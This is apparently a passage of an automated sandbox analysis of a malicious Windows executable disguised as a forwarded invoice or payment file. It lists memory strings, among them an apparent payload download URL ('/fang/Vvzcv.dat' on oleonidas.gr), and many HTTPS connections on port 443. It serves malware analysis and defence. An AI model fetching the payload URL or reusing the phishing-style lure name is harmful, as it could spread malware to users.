00000000.00000002.4494334064.000000000387F000.00000004.00000800.00020000.00000000.sdmp, FW EBS - Goods for M-PROJECTS - PROFORMA - PAYMENT - SWIFT - DELIVERY ORDER NO. INM303.exe, 00000000.00000002.4494334064.00000000038D6000.00000004.00000800.00020000.00000000.sdmp, FW EBS - Goods for M-PROJECTS - PROFORMA - PAYMENT - SWIFT - DELIVERY ORDER NO. INM303.exe, 00000000.00000002.4494334064.000000000361D000.00000004.00000800.00020000.00000000.sdmp, FW EBS - Goods for M-PROJECTS - PROFORMA - PAYMENT - SWIFT - DELIVERY ORDER NO. INM303.exe, 00000000.00000002.4494334064.0000000003844000.00000004.00000800.00020000.00000000.sdmp, FW EBS - Goods for M-PROJECTS - PROFORMA - PAYMENT - SWIFT - DELIVERY ORDER NO. INM303.exe, 00000000.00000002.4494334064.0000000003637000.00000004.00000800.00020000.00000000.sdmp, FW EBS - Goods for M-PROJECTS - PROFORMA - PAYMENT - SWIFT - DELIVERY ORDER NO. INM303.exe, 00000000.00000002.4494334064.0000000003595000.00000004.00000800.00020000.00000000.sdmp, FW EBS - Goods for M-PROJECTS - PROFORMA - PAYMENT - SWIFT - DELIVERY ORDER NO. INM303.exe, 00000000.00000002.4494334064.0000000003384000.00000004.00000800.00020000.00000000.sdmp, FW EBS - Goods for M-PROJECTS - PROFORMA - PAYMENT - SWIFT - DELIVERY ORDER NO. INM303.exe, 00000000.00000002.4494334064.000000000381B000.00000004.00000800.00020000.00000000.sdmp, FW EBS - Goods for M-PROJECTS - PROFORMA - PAYMENT - SWIFT - DELIVERY ORDER NO. INM303.exe, 00000000.00000002.4494334064.00000000038AB000.00000004.00000800.00020000.00000000.sdmp, FW EBS - Goods for M-PROJECTS - PROFORMA - PAYMENT - SWIFT - DELIVERY ORDER NO. INM303.exe, 00000000.00000002.4494334064.00000000033BB000.00000004.00000800.00020000.00000000.sdmp, FW EBS - Goods for M-PROJECTS - PROFORMA - PAYMENT - SWIFT - DELIVERY ORDER NO. INM303.exe, 00000000.00000002.4494334064.00000000033E7000.00000004.00000800.00020000.00000000.sdmp, FW EBS - Goods for M-PROJECTS - PROFORMA - PAYMENT - SWIFT - DELIVERY ORDER NO. INM303.exe, 00000000.00000002.4494334064.00000000033FF000.00000004.00000800.00020000.00000000.sdmp, FW EBS - Goods for M-PROJECTS - PROFORMA - PAYMENT - SWIFT - DELIVERY ORDER NO. INM303.exe, 00000000.00000002.4494334064.0000000003851000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://oleonidas.grd
Source: FW EBS - Goods for M-PROJECTS - PROFORMA - PAYMENT - SWIFT - DELIVERY ORDER NO. INM303.exe, 00000000.00000002.4494334064.0000000003188000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: FW EBS - Goods for M-PROJECTS - PROFORMA - PAYMENT - SWIFT - DELIVERY ORDER NO. INM303.exe, 00000000.00000002.4494334064.0000000003412000.00000004.00000800.00020000.00000000.sdmp, FW EBS - Goods for M-PROJECTS - PROFORMA - PAYMENT - SWIFT - DELIVERY ORDER NO. INM303.exe, 00000000.00000002.4494334064.0000000003203000.00000004.00000800.00020000.00000000.sdmp, FW EBS - Goods for M-PROJECTS - PROFORMA - PAYMENT - SWIFT - DELIVERY ORDER NO. INM303.exe, 00000000.00000002.4494334064.000000000367B000.00000004.00000800.00020000.00000000.sdmp, FW EBS - Goods for M-PROJECTS - PROFORMA - PAYMENT - SWIFT - DELIVERY ORDER NO. INM303.exe, 00000000.00000002.4494334064.000000000339A000.00000004.00000800.00020000.00000000.sdmp, FW EBS - Goods for M-PROJECTS - PROFORMA - PAYMENT - SWIFT - DELIVERY ORDER NO. INM303.exe, 00000000.00000002.4494334064.00000000038E4000.00000004.00000800.00020000.00000000.sdmp, FW EBS - Goods for M-PROJECTS - PROFORMA - PAYMENT - SWIFT - DELIVERY ORDER NO. INM303.exe, 00000000.00000002.4494334064.0000000003684000.00000004.00000800.00020000.00000000.sdmp, FW EBS - Goods for M-PROJECTS - PROFORMA - PAYMENT - SWIFT - DELIVERY ORDER NO. INM303.exe, 00000000.00000002.4494334064.00000000037E8000.00000004.00000800.00020000.00000000.sdmp, FW EBS - Goods for M-PROJECTS - PROFORMA - PAYMENT - SWIFT - DELIVERY ORDER NO. INM303.exe, 00000000.00000002.4494334064.0000000003245000.00000004.00000800.00020000.00000000.sdmp, FW EBS - Goods for M-PROJECTS - PROFORMA - PAYMENT - SWIFT - DELIVERY ORDER NO. INM303.exe, 00000000.00000002.4494334064.000000000387F000.00000004.00000800.00020000.00000000.sdmp, FW EBS - Goods for M-PROJECTS - PROFORMA - PAYMENT - SWIFT - DELIVERY ORDER NO. INM303.exe, 00000000.00000002.4494334064.00000000038D6000.00000004.00000800.00020000.00000000.sdmp, FW EBS - Goods for M-PROJECTS - PROFORMA - PAYMENT - SWIFT - DELIVERY ORDER NO. INM303.exe, 00000000.00000002.4494334064.000000000361D000.00000004.00000800.00020000.00000000.sdmp, FW EBS - Goods for M-PROJECTS - PROFORMA - PAYMENT - SWIFT - DELIVERY ORDER NO. INM303.exe, 00000000.00000002.4494334064.000000000371D000.00000004.00000800.00020000.00000000.sdmp, FW EBS - Goods for M-PROJECTS - PROFORMA - PAYMENT - SWIFT - DELIVERY ORDER NO. INM303.exe, 00000000.00000002.4494334064.0000000003844000.00000004.00000800.00020000.00000000.sdmp, FW EBS - Goods for M-PROJECTS - PROFORMA - PAYMENT - SWIFT - DELIVERY ORDER NO. INM303.exe, 00000000.00000002.4494334064.0000000003637000.00000004.00000800.00020000.00000000.sdmp, FW EBS - Goods for M-PROJECTS - PROFORMA - PAYMENT - SWIFT - DELIVERY ORDER NO. INM303.exe, 00000000.00000002.4494334064.0000000003595000.00000004.00000800.00020000.00000000.sdmp, FW EBS - Goods for M-PROJECTS - PROFORMA - PAYMENT - SWIFT - DELIVERY ORDER NO. INM303.exe, 00000000.00000002.4494334064.0000000003384000.00000004.00000800.00020000.00000000.sdmp, FW EBS - Goods for M-PROJECTS - PROFORMA - PAYMENT - SWIFT - DELIVERY ORDER NO. INM303.exe, 00000000.00000002.4494334064.000000000381B000.00000004.00000800.00020000.00000000.sdmp, FW EBS - Goods for M-PROJECTS - PROFORMA - PAYMENT - SWIFT - DELIVERY ORDER NO. INM303.exe, 00000000.00000002.4494334064.00000000038AB000.00000004.00000800.00020000.00000000.sdmp, FW EBS - Goods for M-PROJECTS - PROFORMA - PAYMENT - SWIFT - DELIVERY ORDER NO. INM303.exe, 00000000.00000002.4494334064.00000000033BB000.00000004.00000800.00020000.00000000.sdmp, FW EBS - Goods for M-PROJECTS - PROFORMA - PAYMENT - SWIFT - DELIVERY ORDER NO. INM303.exe, 00000000.00000002.4494334064.00000000033E7000.00000004.00000800.00020000.00000000.sdmp, FW EBS - Goods for M-PROJECTS - PROFORMA - PAYMENT - SWIFT - DELIVERY ORDER NO. INM303.exe, 00000000.00000002.4494334064.00000000033FF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.oleonidas.gr
Source: FW EBS - Goods for M-PROJECTS - PROFORMA - PAYMENT - SWIFT - DELIVERY ORDER NO. INM303.exe, 00000000.00000002.4494334064.0000000003412000.00000004.00000800.00020000.00000000.sdmp, FW EBS - Goods for M-PROJECTS - PROFORMA - PAYMENT - SWIFT - DELIVERY ORDER NO. INM303.exe, 00000000.00000002.4494334064.0000000003203000.00000004.00000800.00020000.00000000.sdmp, FW EBS - Goods for M-PROJECTS - PROFORMA - PAYMENT - SWIFT - DELIVERY ORDER NO. INM303.exe, 00000000.00000002.4494334064.000000000367B000.00000004.00000800.00020000.00000000.sdmp, FW EBS - Goods for M-PROJECTS - PROFORMA - PAYMENT - SWIFT - DELIVERY ORDER NO. INM303.exe, 00000000.00000002.4494334064.000000000339A000.00000004.00000800.00020000.00000000.sdmp, FW EBS - Goods for M-PROJECTS - PROFORMA - PAYMENT - SWIFT - DELIVERY ORDER NO. INM303.exe, 00000000.00000002.4494334064.00000000038E4000.00000004.00000800.00020000.00000000.sdmp, FW EBS - Goods for M-PROJECTS - PROFORMA - PAYMENT - SWIFT - DELIVERY ORDER NO. INM303.exe, 00000000.00000002.4494334064.0000000003684000.00000004.00000800.00020000.00000000.sdmp, FW EBS - Goods for M-PROJECTS - PROFORMA - PAYMENT - SWIFT - DELIVERY ORDER NO. INM303.exe, 00000000.00000002.4494334064.00000000037E8000.00000004.00000800.00020000.00000000.sdmp, FW EBS - Goods for M-PROJECTS - PROFORMA - PAYMENT - SWIFT - DELIVERY ORDER NO. INM303.exe, 00000000.00000002.4494334064.0000000003245000.00000004.00000800.00020000.00000000.sdmp, FW EBS - Goods for M-PROJECTS - PROFORMA - PAYMENT - SWIFT - DELIVERY ORDER NO. INM303.exe, 00000000.00000002.4494334064.000000000387F000.00000004.00000800.00020000.00000000.sdmp, FW EBS - Goods for M-PROJECTS - PROFORMA - PAYMENT - SWIFT - DELIVERY ORDER NO. INM303.exe, 00000000.00000002.4494334064.00000000038D6000.00000004.00000800.00020000.00000000.sdmp, FW EBS - Goods for M-PROJECTS - PROFORMA - PAYMENT - SWIFT - DELIVERY ORDER NO. INM303.exe, 00000000.00000002.4494334064.000000000361D000.00000004.00000800.00020000.00000000.sdmp, FW EBS - Goods for M-PROJECTS - PROFORMA - PAYMENT - SWIFT - DELIVERY ORDER NO. INM303.exe, 00000000.00000002.4494334064.000000000371D000.00000004.00000800.00020000.00000000.sdmp, FW EBS - Goods for M-PROJECTS - PROFORMA - PAYMENT - SWIFT - DELIVERY ORDER NO. INM303.exe, 00000000.00000002.4494334064.0000000003844000.00000004.00000800.00020000.00000000.sdmp, FW EBS - Goods for M-PROJECTS - PROFORMA - PAYMENT - SWIFT - DELIVERY ORDER NO. INM303.exe, 00000000.00000002.4494334064.0000000003637000.00000004.00000800.00020000.00000000.sdmp, FW EBS - Goods for M-PROJECTS - PROFORMA - PAYMENT - SWIFT - DELIVERY ORDER NO. INM303.exe, 00000000.00000002.4494334064.0000000003595000.00000004.00000800.00020000.00000000.sdmp, FW EBS - Goods for M-PROJECTS - PROFORMA - PAYMENT - SWIFT - DELIVERY ORDER NO. INM303.exe, 00000000.00000002.4494334064.0000000003384000.00000004.00000800.00020000.00000000.sdmp, FW EBS - Goods for M-PROJECTS - PROFORMA - PAYMENT - SWIFT - DELIVERY ORDER NO. INM303.exe, 00000000.00000002.4494334064.000000000381B000.00000004.00000800.00020000.00000000.sdmp, FW EBS - Goods for M-PROJECTS - PROFORMA - PAYMENT - SWIFT - DELIVERY ORDER NO. INM303.exe, 00000000.00000002.4494334064.00000000038AB000.00000004.00000800.00020000.00000000.sdmp, FW EBS - Goods for M-PROJECTS - PROFORMA - PAYMENT - SWIFT - DELIVERY ORDER NO. INM303.exe, 00000000.00000002.4494334064.00000000033BB000.00000004.00000800.00020000.00000000.sdmp, FW EBS - Goods for M-PROJECTS - PROFORMA - PAYMENT - SWIFT - DELIVERY ORDER NO. INM303.exe, 00000000.00000002.4494334064.00000000033E7000.00000004.00000800.00020000.00000000.sdmp, FW EBS - Goods for M-PROJECTS - PROFORMA - PAYMENT - SWIFT - DELIVERY ORDER NO. INM303.exe, 00000000.00000002.4494334064.00000000033FF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.oleonidas.grd
Source: FW EBS - Goods for M-PROJECTS - PROFORMA - PAYMENT - SWIFT - DELIVERY ORDER NO. INM303.exe, 00000000.00000002.4494334064.0000000003188000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.oleonidas.gr
Source: FW EBS - Goods for M-PROJECTS - PROFORMA - PAYMENT - SWIFT - DELIVERY ORDER NO. INM303.exe, 00000000.00000002.4494334064.0000000003188000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.oleonidas.gr/fang/Vvzcv.dat
Source: FW EBS - Goods for M-PROJECTS - PROFORMA - PAYMENT - SWIFT - DELIVERY ORDER NO. INM303.exe, 00000000.00000002.4494334064.0000000003684000.00000004.00000800.00020000.00000000.sdmp, FW EBS - Goods for M-PROJECTS - PROFORMA - PAYMENT - SWIFT - DELIVERY ORDER NO. INM303.exe, 00000000.00000002.4494334064.00000000037E8000.00000004.00000800.00020000.00000000.sdmp, FW EBS - Goods for M-PROJECTS - PROFORMA - PAYMENT - SWIFT - DELIVERY ORDER NO. INM303.exe, 00000000.00000002.4494334064.000000000387F000.00000004.00000800.00020000.00000000.sdmp, FW EBS - Goods for M-PROJECTS - PROFORMA - PAYMENT - SWIFT - DELIVERY ORDER NO. INM303.exe, 00000000.00000002.4494334064.000000000371D000.00000004.00000800.00020000.00000000.sdmp, FW EBS - Goods for M-PROJECTS - PROFORMA - PAYMENT - SWIFT - DELIVERY ORDER NO. INM303.exe, 00000000.00000002.4494334064.0000000003595000.00000004.00000800.00020000.00000000.sdmp, FW EBS - Goods for M-PROJECTS - PROFORMA - PAYMENT - SWIFT - DELIVERY ORDER NO. INM303.exe, 00000000.00000002.4494334064.00000000038AB000.00000004.00000800.00020000.00000000.sdmp, FW EBS - Goods for M-PROJECTS - PROFORMA - PAYMENT - SWIFT - DELIVERY ORDER NO. INM303.exe, 00000000.00000002.4494334064.0000000003851000.00000004.00000800.00020000.00000000.sdmp, FW EBS - Goods for M-PROJECTS - PROFORMA - PAYMENT - SWIFT - DELIVERY ORDER NO. INM303.exe, 00000000.00000002.4494334064.0000000003744000.00000004.00000800.00020000.00000000.sdmp, FW EBS - Goods for M-PROJECTS - PROFORMA - PAYMENT - SWIFT - DELIVERY ORDER NO. INM303.exe, 00000000.00000002.4494334064.000000000369D000.00000004.00000800.00020000.00000000.sdmp, FW EBS - Goods for M-PROJECTS - PROFORMA - PAYMENT - SWIFT - DELIVERY ORDER NO. INM303.exe, 00000000.00000002.4494334064.0000000003893000.00000004.00000800.00020000.00000000.sdmp, FW EBS - Goods for M-PROJECTS - PROFORMA - PAYMENT - SWIFT - DELIVERY ORDER NO. INM303.exe, 00000000.00000002.4494334064.00000000036E3000.00000004.00000800.00020000.00000000.sdmp, FW EBS - Goods for M-PROJECTS - PROFORMA - PAYMENT - SWIFT - DELIVERY ORDER NO. INM303.exe, 00000000.00000002.4494334064.0000000003837000.00000004.00000800.00020000.00000000.sdmp, FW EBS - Goods for M-PROJECTS - PROFORMA - PAYMENT - SWIFT - DELIVERY ORDER NO. INM303.exe, 00000000.00000002.4494334064.000000000372B000.00000004.00000800.00020000.00000000.sdmp, FW EBS - Goods for M-PROJECTS - PROFORMA - PAYMENT - SWIFT - DELIVERY ORDER NO. INM303.exe, 00000000.00000002.4494334064.00000000036B9000.00000004.00000800.00020000.00000000.sdmp, FW EBS - Goods for M-PROJECTS - PROFORMA - PAYMENT - SWIFT - DELIVERY ORDER NO. INM303.exe, 00000000.00000002.4494334064.000000000382B000.00000004.00000800.00020000.00000000.sdmp, FW EBS - Goods for M-PROJECTS - PROFORMA - PAYMENT - SWIFT - DELIVERY ORDER NO. INM303.exe, 00000000.00000002.4494334064.00000000036FF000.00000004.00000800.00020000.00000000.sdmp, FW EBS - Goods for M-PROJECTS - PROFORMA - PAYMENT - SWIFT - DELIVERY ORDER NO. INM303.exe, 00000000.00000002.4494334064.00000000038B5000.00000004.00000800.00020000.00000000.sdmp, FW EBS - Goods for M-PROJECTS - PROFORMA - PAYMENT - SWIFT - DELIVERY ORDER NO. INM303.exe, 00000000.00000002.4494334064.00000000037D7000.00000004.00000800.00020000.00000000.sdmp, FW EBS - Goods for M-PROJECTS - PROFORMA - PAYMENT - SWIFT - DELIVERY ORDER NO. INM303.exe, 00000000.00000002.4494334064.0000000003811000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.oleonidas.gr/fang/Vvzcv.datL
Source: FW EBS - Goods for M-PROJECTS - PROFORMA - PAYMENT - SWIFT - DELIVERY ORDER NO. INM303.exe, 00000000.00000002.4494334064.000000000367B000.00000004.00000800.00020000.00000000.sdmp, FW EBS - Goods for M-PROJECTS - PROFORMA - PAYMENT - SWIFT - DELIVERY ORDER NO. INM303.exe, 00000000.00000002.4494334064.0000000003684000.00000004.00000800.00020000.00000000.sdmp, FW EBS - Goods for M-PROJECTS - PROFORMA - PAYMENT - SWIFT - DELIVERY ORDER NO. INM303.exe, 00000000.00000002.4494334064.00000000037E8000.00000004.00000800.00020000.00000000.sdmp, FW EBS - Goods for M-PROJECTS - PROFORMA - PAYMENT - SWIFT - DELIVERY ORDER NO. INM303.exe, 00000000.00000002.4494334064.000000000387F000.00000004.00000800.00020000.00000000.sdmp, FW EBS - Goods for M-PROJECTS - PROFORMA - PAYMENT - SWIFT - DELIVERY ORDER NO. INM303.exe, 00000000.00000002.4494334064.000000000371D000.00000004.00000800.00020000.00000000.sdmp, FW EBS - Goods for M-PROJECTS - PROFORMA - PAYMENT - SWIFT - DELIVERY ORDER NO. INM303.exe, 00000000.00000002.4494334064.0000000003844000.00000004.00000800.00020000.00000000.sdmp, FW EBS - Goods for M-PROJECTS - PROFORMA - PAYMENT - SWIFT - DELIVERY ORDER NO. INM303.exe, 00000000.00000002.4494334064.0000000003595000.00000004.00000800.00020000.00000000.sdmp, FW EBS - Goods for M-PROJECTS - PROFORMA - PAYMENT - SWIFT - DELIVERY ORDER NO. INM303.exe, 00000000.00000002.4494334064.000000000381B000.00000004.00000800.00020000.00000000.sdmp, FW EBS - Goods for M-PROJECTS - PROFORMA - PAYMENT - SWIFT - DELIVERY ORDER NO. INM303.exe, 00000000.00000002.4494334064.00000000038AB000.00000004.00000800.00020000.00000000.sdmp, FW EBS - Goods for M-PROJECTS - PROFORMA - PAYMENT - SWIFT - DELIVERY ORDER NO. INM303.exe, 00000000.00000002.4494334064.0000000003851000.00000004.00000800.00020000.00000000.sdmp, FW EBS - Goods for M-PROJECTS - PROFORMA - PAYMENT - SWIFT - DELIVERY ORDER NO. INM303.exe, 00000000.00000002.4494334064.0000000003744000.00000004.00000800.00020000.00000000.sdmp, FW EBS - Goods for M-PROJECTS - PROFORMA - PAYMENT - SWIFT - DELIVERY ORDER NO. INM303.exe, 00000000.00000002.4494334064.000000000369D000.00000004.00000800.00020000.00000000.sdmp, FW EBS - Goods for M-PROJECTS - PROFORMA - PAYMENT - SWIFT - DELIVERY ORDER NO. INM303.exe, 00000000.00000002.4494334064.0000000003893000.00000004.00000800.00020000.00000000.sdmp, FW EBS - Goods for M-PROJECTS - PROFORMA - PAYMENT - SWIFT - DELIVERY ORDER NO. INM303.exe, 00000000.00000002.4494334064.0000000003806000.00000004.00000800.00020000.00000000.sdmp, FW EBS - Goods for M-PROJECTS - PROFORMA - PAYMENT - SWIFT - DELIVERY ORDER NO. INM303.exe, 00000000.00000002.4494334064.00000000036E3000.00000004.00000800.00020000.00000000.sdmp, FW EBS - Goods for M-PROJECTS - PROFORMA - PAYMENT - SWIFT - DELIVERY ORDER NO. INM303.exe, 00000000.00000002.4494334064.0000000003837000.00000004.00000800.00020000.00000000.sdmp, FW EBS - Goods for M-PROJECTS - PROFORMA - PAYMENT - SWIFT - DELIVERY ORDER NO. INM303.exe, 00000000.00000002.4494334064.000000000372B000.00000004.00000800.00020000.00000000.sdmp, FW EBS - Goods for M-PROJECTS - PROFORMA - PAYMENT - SWIFT - DELIVERY ORDER NO. INM303.exe, 00000000.00000002.4494334064.00000000036B9000.00000004.00000800.00020000.00000000.sdmp, FW EBS - Goods for M-PROJECTS - PROFORMA - PAYMENT - SWIFT - DELIVERY ORDER NO. INM303.exe, 00000000.00000002.4494334064.000000000382B000.00000004.00000800.00020000.00000000.sdmp, FW EBS - Goods for M-PROJECTS - PROFORMA - PAYMENT - SWIFT - DELIVERY ORDER NO. INM303.exe, 00000000.00000002.4494334064.00000000036FF000.00000004.00000800.00020000.00000000.sdmp, FW EBS - Goods for M-PROJECTS - PROFORMA - PAYMENT - SWIFT - DELIVERY ORDER NO. INM303.exe, 00000000.00000002.4494334064.00000000038A3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.oleonidas.grD

Source: unknown	Network traffic detected: HTTP traffic on port 49708 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49982
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49860
Source: unknown	Network traffic detected: HTTP traffic on port 49926 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50054
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50053
Source: unknown	Network traffic detected: HTTP traffic on port 49932 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50056
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50055
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50058
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50057
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50059
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50061
Source: unknown	Network traffic detected: HTTP traffic on port 50022 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50060
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50063
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50062
Source: unknown	Network traffic detected: HTTP traffic on port 50068 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49739
Source: unknown	Network traffic detected: HTTP traffic on port 50045 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49736
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49976
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49854
Source: unknown	Network traffic detected: HTTP traffic on port 50085 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49731
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49970
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50065
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50064
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50067
Source: unknown	Network traffic detected: HTTP traffic on port 50091 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50056 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50066
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50069
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50068
Source: unknown	Network traffic detected: HTTP traffic on port 50074 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50070
Source: unknown	Network traffic detected: HTTP traffic on port 49915 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50072
Source: unknown	Network traffic detected: HTTP traffic on port 49909 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50071
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50074
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50073
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49848
Source: unknown	Network traffic detected: HTTP traffic on port 50080 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49724
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49843
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49964
Source: unknown	Network traffic detected: HTTP traffic on port 49731 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50009 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50076
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50075
Source: unknown	Network traffic detected: HTTP traffic on port 50057 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50078
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50077
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50079
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50081
Source: unknown	Network traffic detected: HTTP traffic on port 50073 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50080
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50083
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50082
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50085
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50084
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49838
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49716
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49958
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49712
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49832
Source: unknown	Network traffic detected: HTTP traffic on port 50062 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49710
Source: unknown	Network traffic detected: HTTP traffic on port 49709 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49952
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50087
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50086
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50089
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50088
Source: unknown	Network traffic detected: HTTP traffic on port 50079 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50090
Source: unknown	Network traffic detected: HTTP traffic on port 50051 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50092
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50091
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50094
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50093
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49709
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49708
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49707
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49706
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49826
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49705
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49946
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49704
Source: unknown	Network traffic detected: HTTP traffic on port 50061 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49786
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49780
Source: unknown	Network traffic detected: HTTP traffic on port 50055 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50090 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50016
Source: unknown	Network traffic detected: HTTP traffic on port 50078 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50049 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49736 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49896
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49774
Source: unknown	Network traffic detected: HTTP traffic on port 49707 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49890
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50022
Source: unknown	Network traffic detected: HTTP traffic on port 49724 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50027
Source: unknown	Network traffic detected: HTTP traffic on port 49780 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50067 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50084 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49768
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49884
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49762
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50031
Source: unknown	Network traffic detected: HTTP traffic on port 49896 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50037
Source: unknown	Network traffic detected: HTTP traffic on port 50050 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49940 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50066 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50083 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50089 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49878
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49756
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49998
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49994
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49872
Source: unknown	Network traffic detected: HTTP traffic on port 50016 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49750
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50043
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50042
Source: unknown	Network traffic detected: HTTP traffic on port 49786 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50045
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50044
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50047
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50046
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50049
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50048
Source: unknown	Network traffic detected: HTTP traffic on port 50072 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50050
Source: unknown	Network traffic detected: HTTP traffic on port 50027 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50052
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50051
Source: unknown	Network traffic detected: HTTP traffic on port 50044 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49792 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49988
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49745
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49866
Source: unknown	Network traffic detected: HTTP traffic on port 49890 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49970 -> 443
